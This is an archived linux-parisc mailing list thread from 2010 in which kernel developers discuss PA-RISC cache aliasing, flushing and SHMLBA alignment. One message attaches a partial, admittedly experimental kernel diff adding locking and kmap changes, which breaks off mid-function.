> > Compiling it with -Os worked fine. Could you please recommend a compiler 
> > to use? (4.4 from Debian 6 ... or some other version?)
> > 
> 
> 4.4.5 from sid is what I'm using... I think it's working more or less
> for me. I've only been building/booting UP/SMP on an rp3440 these days,
> so I'm not sure about 32-bit.
> 
> > > our cache flushing is a bit... suboptimal right now (doing whole cache
> > > flushes on fork and such.)
> > 
> > What is exactly the problem there? Could you describe it or refer to some 
> > document that describes it? Why do you need to flush on fork?
> > 
> > Sparc has virtually indexed caches too, but there are not many problems 
> > with it, basically the only needed thing is to flush the cache when kernel 
> > touches some user page via its own mapping. (if they ran with 16kB page 
> > size, they wouldn't have to care about data cache coherency at all).
> > 
> 
> I can't remember exactly why offhand, I'm sure jejb can remind us.
> 
> > Another thing I don't understand: the L1 cache is supposed to be 
> > direct-mapped, but it's size is 768kB. I can't imagine how is it 
> > implemented. Does it mean that the processor does a divide-by-3 on every 
> > cache access?
> > 
> > Or is it a mistake and the cache is 3-way set associative, with set size 
> > 256kB? (that would make much more sense)
> > 
> 
> That's the output from one of the firmware queries, which has been lying
> to us for a very long time (apparently HP just doesn't test these things
> or something.) It believe the pa8800 L1 caches were 4-way associative.

I'd say 3-way. If there are 768kB, the associativity must be 3*(2^n).

> So, on to the interesting bit!
> 
> Does your /proc/cpuinfo actually say 768kB? That's... amazingly
> interesting. I wonder (out loud, sorry I should go back and look at the
> prior emails) if that's the cause of your cpu issues...
> 
> processor       : 0
> cpu family      : PA-RISC 2.0
> cpu             : PA8800 (Mako)
> cpu MHz         : 999.995500
> capabilities    : os64
> model           : 9000/800/rp3440  
> model name      : Storm Peak Fast
> hversion        : 0x00008890
> sversion        : 0x00000491
> I-cache         : 32768 KB
> D-cache         : 32768 KB (WB, direct mapped)
> ITLB entries    : 240
> DTLB entries    : 240 - shared with ITLB
> bogomips        : 1998.84
> software id     : 4468984695822677774
> 
> is what mine says... (with the 32MB L2 cache.)

My says:
processor       : 0
cpu family      : PA-RISC 2.0
cpu             : PA8900 (Shortfin)
cpu MHz         : 900.000000
capabilities    : os64
model           : 9000/785/C8000
model name      : Unknown machine
hversion        : 0x00008920
sversion        : 0x00000491
I-cache         : 768 KB
D-cache         : 768 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB
bogomips        : 1795.68
software id     : 6249854628114153565

PA8900 is wrong, direct mapped is wrong.

So, maybe the cache is the reason why it is fast and why it doesn't run on 
SMP?

> Anyway, the L1 are usually 2/4-way associative on parisc, iirc, I
> believe the L2 is as well.
> 
> The main problems we see on the pa8800 is due to the L2, which is
> physically indexed, and exclusive. We had some bizarre
> corruption due to incorrect evictions there. (And flushing 32MB on
> fork is just utterly painful, we really need to fix that someday.)
> 
> --Kyle

When I read the specification, it says that equivalent virtual addresses 
are those that are 16-MB (or multiplies of) apart. Warning, the PDF is 
wrong (it says 1MB), there's an errata on HP website that extends it to 
16MB.

It also gives an option to hash parts of space-ID to the cache addressing, 
I suppose this is turned off on Linux.

The hardware handles aliasing of equivalent addresses fine (both on UP or 
SMP).

Multiple mappings on non-equivalent addresses are allowed only if all are 
read-only (otherwise it generates machine-check conditions).



Based on the specification, I suppose that the processor finds the cache 
address with a virtual address (and optionally a space-id hashed into it), 
in parallel it finds the physical address using TLB, the cache contains 3 
or 4 lines at a given address, each with a full physical address. The 
phyiscal addresses are compared with the output from the TLB and if match 
is found, that cache line is accessed.



So, if we want to implement it correctly, we must allow aliasing only on 
equivalent virtual addresses.

- fork --- no problem, the mappings are equivalent after fork, I see no 
need to flush cache there, hardware should do. If you see such need, 
describe it.

- kmap (accessing user pages from the kernel) --- kmap will work if we 
deliberately select an equivalent kernel address (that matches the user 
address modulo 16M). If we do, no need to flush cache.

- shared memory --- there is SHMLBA boundary that causes that all mappings 
are aligned to this boundary --- it is **WRONG** in the current kernel!!! 
It is only 4MB and should be 16MB!!!

- mapped files --- I'd simply map them all so that (mapped_address - 
file_offset) is divisiable by 16MB. One problem would be MAP_FIXED, this 
should be simply rejected with -EINVAL and userspace linker be patched to 
use conguent addresses.

Note that aliasing non-equivalent addresses may cause machine-check 
exception according to the specifications, so we simply can't allow the 
userspace to do them. I don't know how many programs will be broken by 
restricting MAP_FIXED, but I don't see any other reasonable way (well, 
you can unmap the other mappings when creating a non-equivalent mapping, 
but what to do with mlock() then?).

How does HP-UX solve MAP_FIXED to non-equivalent addresses? Does it abort 
it with -EINVAL?

If we obey these rules, we can run with no cache flushing in page mapping 
or unmappinh at all. There is one case where we'd need to flush cache --- 
freeing a page and allocating it to a different virtual address. We'd need 
to free cache on all page freeings or allocations. (it could be later 
minigated with an arch-specific wrapper around page allocator)

Mikulas
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:06:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Tue, 26 Oct 2010 21:29:31 -0400 (EDT)
Lines: 183
Approved: news@gmane.org
Message-ID: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
References: <alpine.DEB.1.10.1010261729410.25995@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1288142986 19823 80.91.229.12 (27 Oct 2010 01:29:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 01:29:46 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: mikulas@artax.karlin.mff.cuni.cz (Mikulas Patocka)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 03:29:45 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PAupi-0001RY-0f
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 03:29:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760416Ab0J0B3e (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Oct 2010 21:29:34 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1359 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760334Ab0J0B3d (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Oct 2010 21:29:33 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3CB6E4FB4; Tue, 26 Oct 2010 21:29:32 -0400 (EDT)
In-Reply-To: <alpine.DEB.1.10.1010261729410.25995@artax.karlin.mff.cuni.cz> from "Mikulas Patocka" at Oct 26, 2010 06:02:13 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3172
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3172>

> > Heh. I think you may be lucking in here... see below.
> > 
> > > I found that gcc 4.3 from Debian 5 is buggy, it miscompiled the UP kernel. 
> > > Compiling it with -Os worked fine. Could you please recommend a compiler 
> > > to use? (4.4 from Debian 6 ... or some other version?)
> > > 
> > 
> > 4.4.5 from sid is what I'm using... I think it's working more or less
> > for me. I've only been building/booting UP/SMP on an rp3440 these days,
> > so I'm not sure about 32-bit.
> > 
> > > > our cache flushing is a bit... suboptimal right now (doing whole cache
> > > > flushes on fork and such.)
> > > 
> > > What is exactly the problem there? Could you describe it or refer to some 
> > > document that describes it? Why do you need to flush on fork?
> > > 
> > > Sparc has virtually indexed caches too, but there are not many problems 
> > > with it, basically the only needed thing is to flush the cache when kernel 
> > > touches some user page via its own mapping. (if they ran with 16kB page 
> > > size, they wouldn't have to care about data cache coherency at all).
> I'd say 3-way. If there are 768kB, the associativity must be 3*(2^n).
> 
> > So, on to the interesting bit!
> > 
> > Does your /proc/cpuinfo actually say 768kB? That's... amazingly
> > interesting. I wonder (out loud, sorry I should go back and look at the
> > prior emails) if that's the cause of your cpu issues...
> > 
> > processor       : 0
> > cpu family      : PA-RISC 2.0
> > cpu             : PA8800 (Mako)
> > cpu MHz         : 999.995500
> > capabilities    : os64
> > model           : 9000/800/rp3440  
> > model name      : Storm Peak Fast
> > hversion        : 0x00008890
> > sversion        : 0x00000491
> > I-cache         : 32768 KB
> > D-cache         : 32768 KB (WB, direct mapped)
> > ITLB entries    : 240
> > DTLB entries    : 240 - shared with ITLB
> > bogomips        : 1998.84
> > software id     : 4468984695822677774
> > 
> > is what mine says... (with the 32MB L2 cache.)
> 
> My says:
> processor       : 0
> cpu family      : PA-RISC 2.0
> cpu             : PA8900 (Shortfin)
> cpu MHz         : 900.000000
> capabilities    : os64
> model           : 9000/785/C8000
> model name      : Unknown machine
> hversion        : 0x00008920
> sversion        : 0x00000491
> I-cache         : 768 KB
> D-cache         : 768 KB (WB, direct mapped)
> ITLB entries    : 240
> DTLB entries    : 240 - shared with ITLB
> bogomips        : 1795.68
> software id     : 6249854628114153565
> 
> PA8900 is wrong, direct mapped is wrong.

"direct mapped" indicates that the PDC_CACHE call returned a D_loop value
of 1.  According to the documentation, this indicates that FDCE(addr) only
needs to be done once at any given address.  A N way cache may require
N FDCE(addr) executions or just 1, depending on implementation.  Thus, a
value of 1 doesn't provide any information about the details of the
implementation.

Probably, the I_loop and D_loop values should be saved for the cache
flush code.

> So, maybe the cache is the reason why it is fast and why it doesn't run on 
> SMP?

What happens when you run a SMP kernel?

> > Anyway, the L1 are usually 2/4-way associative on parisc, iirc, I
> > believe the L2 is as well.
> > 
> > The main problems we see on the pa8800 is due to the L2, which is
> > physically indexed, and exclusive. We had some bizarre
> > corruption due to incorrect evictions there. (And flushing 32MB on
> > fork is just utterly painful, we really need to fix that someday.)
> > 
> > --Kyle
> 
> When I read the specification, it says that equivalent virtual addresses 
> are those that are 16-MB (or multiplies of) apart. Warning, the PDF is 
> wrong (it says 1MB), there's an errata on HP website that extends it to 
> 16MB.
> 
> It also gives an option to hash parts of space-ID to the cache addressing, 
> I suppose this is turned off on Linux.
> 
> The hardware handles aliasing of equivalent addresses fine (both on UP or 
> SMP).
> 
> Multiple mappings on non-equivalent addresses are allowed only if all are 
> read-only (otherwise it generates machine-check conditions).
> 
> 
> 
> Based on the specification, I suppose that the processor finds the cache 
> address with a virtual address (and optionally a space-id hashed into it), 
> in parallel it finds the physical address using TLB, the cache contains 3 
> or 4 lines at a given address, each with a full physical address. The 
> phyiscal addresses are compared with the output from the TLB and if match 
> is found, that cache line is accessed.
> 
> 
> 
> So, if we want to implement it correctly, we must allow aliasing only on 
> equivalent virtual addresses.
> 
> - fork --- no problem, the mappings are equivalent after fork, I see no 
> need to flush cache there, hardware should do. If you see such need, 
> describe it.
> 
> - kmap (accessing user pages from the kernel) --- kmap will work if we 
> deliberately select an equivalent kernel address (that matches the user 
> address modulo 16M). If we do, no need to flush cache.

I have tried this but haven't reached a fully stable configuration.
Unfortunately, the hard drive on the system that I was testing on
is dying...

See __clear_user_page_asm.  I tried similar implementations for
copy_user_page, etc.

> - shared memory --- there is SHMLBA boundary that causes that all mappings 
> are aligned to this boundary --- it is **WRONG** in the current kernel!!! 
> It is only 4MB and should be 16MB!!!

James has said that the max for all PA-RISC implementations is
4 MB.  The value is returned by the PDC_CACHE call.  Maybe a BUG_ON is
called for.  The alias boundary can be determined by the alias field
in the D_conf return value.

> - mapped files --- I'd simply map them all so that (mapped_address - 
> file_offset) is divisiable by 16MB. One problem would be MAP_FIXED, this 
> should be simply rejected with -EINVAL and userspace linker be patched to 
> use conguent addresses.
> 
> Note that aliasing non-equivalent addresses may cause machine-check 
> exception according to the specifications, so we simply can't allow the 
> userspace to do them. I don't know how many programs will be broken by 
> restricting MAP_FIXED, but I don't see any other reasonable way (well, 
> you can unmap the other mappings when creating a non-equivalent mapping, 
> but what to do with mlock() then?).
> 
> How does HP-UX solve MAP_FIXED to non-equivalent addresses? Does it abort 
> it with -EINVAL?

I believe that the call fails.  This was a problem in getting PCH to
work on hppa.

> If we obey these rules, we can run with no cache flushing in page mapping 
> or unmappinh at all. There is one case where we'd need to flush cache --- 
> freeing a page and allocating it to a different virtual address. We'd need 
> to free cache on all page freeings or allocations. (it could be later 
> minigated with an arch-specific wrapper around page allocator)
> 
> Mikulas
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 


-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PA caches (was: C8000 cpu upgrade problem)
Date: Tue, 26 Oct 2010 22:40:48 -0400
Organization: nrc.ca
Lines: 1904
Approved: news@gmane.org
Message-ID: <20101027024048.GA1516@hiauly1.hia.nrc.ca>
References: <alpine.DEB.1.10.1010261729410.25995@artax.karlin.mff.cuni.cz> <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="M9NhX3UHpAaciwkO"
X-Trace: dough.gmane.org 1288147259 983 80.91.229.12 (27 Oct 2010 02:40:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 27 Oct 2010 02:40:59 +0000 (UTC)
Cc: kyle@mcmartin.ca, linux-parisc@vger.kernel.org
To: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 27 04:40:56 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PAvwc-0003iD-LA
	for glpp-linux-parisc@lo.gmane.org; Wed, 27 Oct 2010 04:40:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753291Ab0J0Ckx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 26 Oct 2010 22:40:53 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1363 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753799Ab0J0Ckv (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 26 Oct 2010 22:40:51 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id AE6824D30; Tue, 26 Oct 2010 22:40:49 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20101027012932.3CB6E4FB4@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3173>


--M9NhX3UHpAaciwkO
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

On Tue, 26 Oct 2010, John David Anglin wrote:

> I have tried this but haven't reached a fully stable configuration.
> Unfortunately, the hard drive on the system that I was testing on
> is dying...

Attached is last diff that I have readily available.  It's
certainly not right, but it points to areas that I though
might be problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

--M9NhX3UHpAaciwkO
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="diff-20100523.d"

diff --git a/arch/parisc/hpux/wrappers.S b/arch/parisc/hpux/wrappers.S
index 58c53c8..bdcea33 100644
--- a/arch/parisc/hpux/wrappers.S
+++ b/arch/parisc/hpux/wrappers.S
@@ -88,7 +88,7 @@ ENTRY(hpux_fork_wrapper)
 
 	STREG	%r2,-20(%r30)
 	ldo	64(%r30),%r30
-	STREG	%r2,PT_GR19(%r1)	;! save for child
+	STREG	%r2,PT_SYSCALL_RP(%r1)	;! save for child
 	STREG	%r30,PT_GR21(%r1)	;! save for child
 
 	LDREG	PT_GR30(%r1),%r25
@@ -132,7 +132,7 @@ ENTRY(hpux_child_return)
 	bl,n	schedule_tail, %r2
 #endif
 
-	LDREG	TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
+	LDREG	TASK_PT_SYSCALL_RP-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
 ENDPROC(hpux_child_return)
diff --git a/arch/parisc/include/asm/atomic.h b/arch/parisc/include/asm/atomic.h
index 716634d..ad7df44 100644
--- a/arch/parisc/include/asm/atomic.h
+++ b/arch/parisc/include/asm/atomic.h
@@ -24,29 +24,46 @@
  * Hash function to index into a different SPINLOCK.
  * Since "a" is usually an address, use one spinlock per cacheline.
  */
-#  define ATOMIC_HASH_SIZE 4
-#  define ATOMIC_HASH(a) (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_HASH_SIZE (4096/L1_CACHE_BYTES)  /* 4 */
+#  define ATOMIC_HASH(a)      (&(__atomic_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
+#  define ATOMIC_USER_HASH(a) (&(__atomic_user_hash[ (((unsigned long) (a))/L1_CACHE_BYTES) & (ATOMIC_HASH_SIZE-1) ]))
 
 extern arch_spinlock_t __atomic_hash[ATOMIC_HASH_SIZE] __lock_aligned;
+extern arch_spinlock_t __atomic_user_hash[ATOMIC_HASH_SIZE] __lock_aligned;
 
 /* Can't use raw_spin_lock_irq because of #include problems, so
  * this is the substitute */
-#define _atomic_spin_lock_irqsave(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);		\
+#define _atomic_spin_lock_irqsave_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;		\
 	local_irq_save(f);			\
 	arch_spin_lock(s);			\
 } while(0)
 
-#define _atomic_spin_unlock_irqrestore(l,f) do {	\
-	arch_spinlock_t *s = ATOMIC_HASH(l);			\
+#define _atomic_spin_unlock_irqrestore_template(l,f,hash_func) do {	\
+	arch_spinlock_t *s = hash_func;			\
 	arch_spin_unlock(s);				\
 	local_irq_restore(f);				\
 } while(0)
 
+/* kernel memory locks */
+#define _atomic_spin_lock_irqsave(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_HASH(l))
+
+/* userspace memory locks */
+#define _atomic_spin_lock_irqsave_user(l,f)	\
+	_atomic_spin_lock_irqsave_template(l,f,ATOMIC_USER_HASH(l))
+
+#define _atomic_spin_unlock_irqrestore_user(l,f)	\
+	_atomic_spin_unlock_irqrestore_template(l,f,ATOMIC_USER_HASH(l))
 
 #else
 #  define _atomic_spin_lock_irqsave(l,f) do { local_irq_save(f); } while (0)
 #  define _atomic_spin_unlock_irqrestore(l,f) do { local_irq_restore(f); } while (0)
+#  define _atomic_spin_lock_irqsave_user(l,f) _atomic_spin_lock_irqsave(l,f)
+#  define _atomic_spin_unlock_irqrestore_user(l,f) _atomic_spin_unlock_irqrestore(l,f)
 #endif
 
 /* This should get optimized out since it's never called.
diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..b90c895 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -2,6 +2,7 @@
 #define _PARISC_CACHEFLUSH_H
 
 #include <linux/mm.h>
+#include <linux/uaccess.h>
 
 /* The usual comment is "Caches aren't brain-dead on the <architecture>".
  * Unfortunately, that doesn't apply to PA-RISC. */
@@ -104,21 +105,32 @@ void mark_rodata_ro(void);
 #define ARCH_HAS_KMAP
 
 void kunmap_parisc(void *addr);
+void *kmap_parisc(struct page *page);
 
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
-	return page_address(page);
+	return kmap_parisc(page);
 }
 
 #define kunmap(page)			kunmap_parisc(page_address(page))
 
-#define kmap_atomic(page, idx)		page_address(page)
+static inline void *kmap_atomic(struct page *page, enum km_type idx)
+{
+	pagefault_disable();
+	return kmap_parisc(page);
+}
 
-#define kunmap_atomic(addr, idx)	kunmap_parisc(addr)
+static inline void kunmap_atomic(void *addr, enum km_type idx)
+{
+	kunmap_parisc(addr);
+	pagefault_enable();
+}
 
-#define kmap_atomic_pfn(pfn, idx)	page_address(pfn_to_page(pfn))
-#define kmap_atomic_to_page(ptr)	virt_to_page(ptr)
+#define kmap_atomic_prot(page, idx, prot)	kmap_atomic(page, idx)
+#define kmap_atomic_pfn(pfn, idx)	kmap_atomic(pfn_to_page(pfn), (idx))
+#define kmap_atomic_to_page(ptr)	virt_to_page(kmap_atomic(virt_to_page(ptr), (enum km_type) 0))
+#define kmap_flush_unused()	do {} while(0)
 #endif
 
 #endif /* _PARISC_CACHEFLUSH_H */
diff --git a/arch/parisc/include/asm/futex.h b/arch/parisc/include/asm/futex.h
index 0c705c3..7bc963e 100644
--- a/arch/parisc/include/asm/futex.h
+++ b/arch/parisc/include/asm/futex.h
@@ -55,6 +55,7 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 {
 	int err = 0;
 	int uval;
+	unsigned long flags;
 
 	/* futex.c wants to do a cmpxchg_inatomic on kernel NULL, which is
 	 * our gateway page, and causes no end of trouble...
@@ -65,10 +66,15 @@ futex_atomic_cmpxchg_inatomic(int __user *uaddr, int oldval, int newval)
 	if (!access_ok(VERIFY_WRITE, uaddr, sizeof(int)))
 		return -EFAULT;
 
+	_atomic_spin_lock_irqsave_user(uaddr, flags);
+
 	err = get_user(uval, uaddr);
-	if (err) return -EFAULT;
-	if (uval == oldval)
-		err = put_user(newval, uaddr);
+	if (!err)
+		if (uval == oldval)
+			err = put_user(newval, uaddr);
+
+	_atomic_spin_unlock_irqrestore_user(uaddr, flags);
+
 	if (err) return -EFAULT;
 	return uval;
 }
diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/page.h
index a84cc1f..cca0f53 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -21,15 +21,18 @@
 #include <asm/types.h>
 #include <asm/cache.h>
 
-#define clear_page(page)	memset((void *)(page), 0, PAGE_SIZE)
-#define copy_page(to,from)      copy_user_page_asm((void *)(to), (void *)(from))
+#define clear_page(page)	clear_page_asm((void *)(page))
+#define copy_page(to,from)      copy_page_asm((void *)(to), (void *)(from))
 
 struct page;
 
-void copy_user_page_asm(void *to, void *from);
-void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
+extern void copy_page_asm(void *to, void *from);
+extern void clear_page_asm(void *page);
+extern void copy_user_page_asm(void *to, void *from, unsigned long vaddr);
+extern void clear_user_page_asm(void *page, unsigned long vaddr);
+extern void copy_user_page(void *vto, void *vfrom, unsigned long vaddr,
 			   struct page *pg);
-void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
+extern void clear_user_page(void *page, unsigned long vaddr, struct page *pg);
 
 /*
  * These are used to make use of C type-checking..
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index a27d2e2..8050948 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -14,6 +14,7 @@
 #include <linux/bitops.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
+#include <linux/uaccess.h>
 
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
@@ -30,15 +31,21 @@
  */
 #define kern_addr_valid(addr)	(1)
 
+extern spinlock_t pa_pte_lock;
+extern spinlock_t pa_tlb_lock;
+
 /* Certain architectures need to do special things when PTEs
  * within a page table are directly modified.  Thus, the following
  * hook is made available.
  */
-#define set_pte(pteptr, pteval)                                 \
-        do{                                                     \
+#define set_pte(pteptr, pteval)					\
+        do {							\
+		unsigned long flags;				\
+		spin_lock_irqsave(&pa_pte_lock, flags);		\
                 *(pteptr) = (pteval);                           \
+		spin_unlock_irqrestore(&pa_pte_lock, flags);	\
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+#define set_pte_at(mm,addr,ptep,pteval)	set_pte(ptep, pteval)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -262,6 +269,7 @@ extern unsigned long *empty_zero_page;
 #define pte_none(x)     ((pte_val(x) == 0) || (pte_val(x) & _PAGE_FLUSH))
 #define pte_present(x)	(pte_val(x) & _PAGE_PRESENT)
 #define pte_clear(mm,addr,xp)	do { pte_val(*(xp)) = 0; } while (0)
+#define pte_same(A,B)	(pte_val(A) == pte_val(B))
 
 #define pmd_flag(x)	(pmd_val(x) & PxD_FLAG_MASK)
 #define pmd_address(x)	((unsigned long)(pmd_val(x) &~ PxD_FLAG_MASK) << PxD_VALUE_SHIFT)
@@ -410,6 +418,7 @@ extern void paging_init (void);
 
 #define PG_dcache_dirty         PG_arch_1
 
+extern void flush_cache_page(struct vm_area_struct *vma, unsigned long vmaddr, unsigned long pfn);
 extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 
 /* Encode and de-code a swap entry */
@@ -423,56 +432,83 @@ extern void update_mmu_cache(struct vm_area_struct *, unsigned long, pte_t);
 #define __pte_to_swp_entry(pte)		((swp_entry_t) { pte_val(pte) })
 #define __swp_entry_to_pte(x)		((pte_t) { (x).val })
 
-static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+static inline void __flush_tlb_page(struct mm_struct *mm, unsigned long addr)
 {
-#ifdef CONFIG_SMP
-	if (!pte_young(*ptep))
-		return 0;
-	return test_and_clear_bit(xlate_pabit(_PAGE_ACCESSED_BIT), &pte_val(*ptep));
-#else
-	pte_t pte = *ptep;
-	if (!pte_young(pte))
-		return 0;
-	set_pte_at(vma->vm_mm, addr, ptep, pte_mkold(pte));
-	return 1;
-#endif
+	unsigned long flags;
+
+	/* For one page, it's not worth testing the split_tlb variable.  */
+	spin_lock_irqsave(&pa_tlb_lock, flags);
+	mtsp(mm->context,1);
+	pdtlb(addr);
+	pitlb(addr);
+	spin_unlock_irqrestore(&pa_tlb_lock, flags);
 }
 
-extern spinlock_t pa_dbit_lock;
+static inline int ptep_set_access_flags(struct vm_area_struct *vma, unsigned
+ long addr, pte_t *ptep, pte_t entry, int dirty)
+{
+	int changed;
+	unsigned long flags;
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	changed = !pte_same(*ptep, entry);
+	if (changed) {
+		*ptep = entry;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+	if (changed) {
+		__flush_tlb_page(vma->vm_mm, addr);
+	}
+	return changed;
+}
+
+static inline int ptep_test_and_clear_young(struct vm_area_struct *vma, unsigned long addr, pte_t *ptep)
+{
+	pte_t pte;
+	unsigned long flags;
+	int r;
+
+	spin_lock_irqsave(&pa_pte_lock, flags);
+	pte = *ptep;
+	if (pte_young(pte)) {
+		*ptep = pte_mkold(pte);
+		r = 1;
+	} else {
+		r = 0;
+	}
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
+
+	return r;
+}
 
 struct mm_struct;
 static inline pte_t ptep_get_and_clear(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-	pte_t old_pte;
-	pte_t pte;
+	pte_t pte, old_pte;
+	unsigned long flags;
 
-	spin_lock(&pa_dbit_lock);
+	spin_lock_irqsave(&pa_pte_lock, flags);
 	pte = old_pte = *ptep;
 	pte_val(pte) &= ~_PAGE_PRESENT;
 	pte_val(pte) |= _PAGE_FLUSH;
-	set_pte_at(mm,addr,ptep,pte);
-	spin_unlock(&pa_dbit_lock);
+	*ptep = pte;
+	spin_unlock_irqrestore(&pa_pte_lock, flags);
 
 	return old_pte;
 }
 
-static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr, pte_t *ptep)
+static inline void ptep_set_wrprotect(struct vm_area_struct *vma, struct mm_struct *mm, unsigned long addr, pte_t *ptep)
 {
-#ifdef CONFIG_SMP
-	unsigned long new, old;
-
-	do {
-		old = pte_val(*ptep);
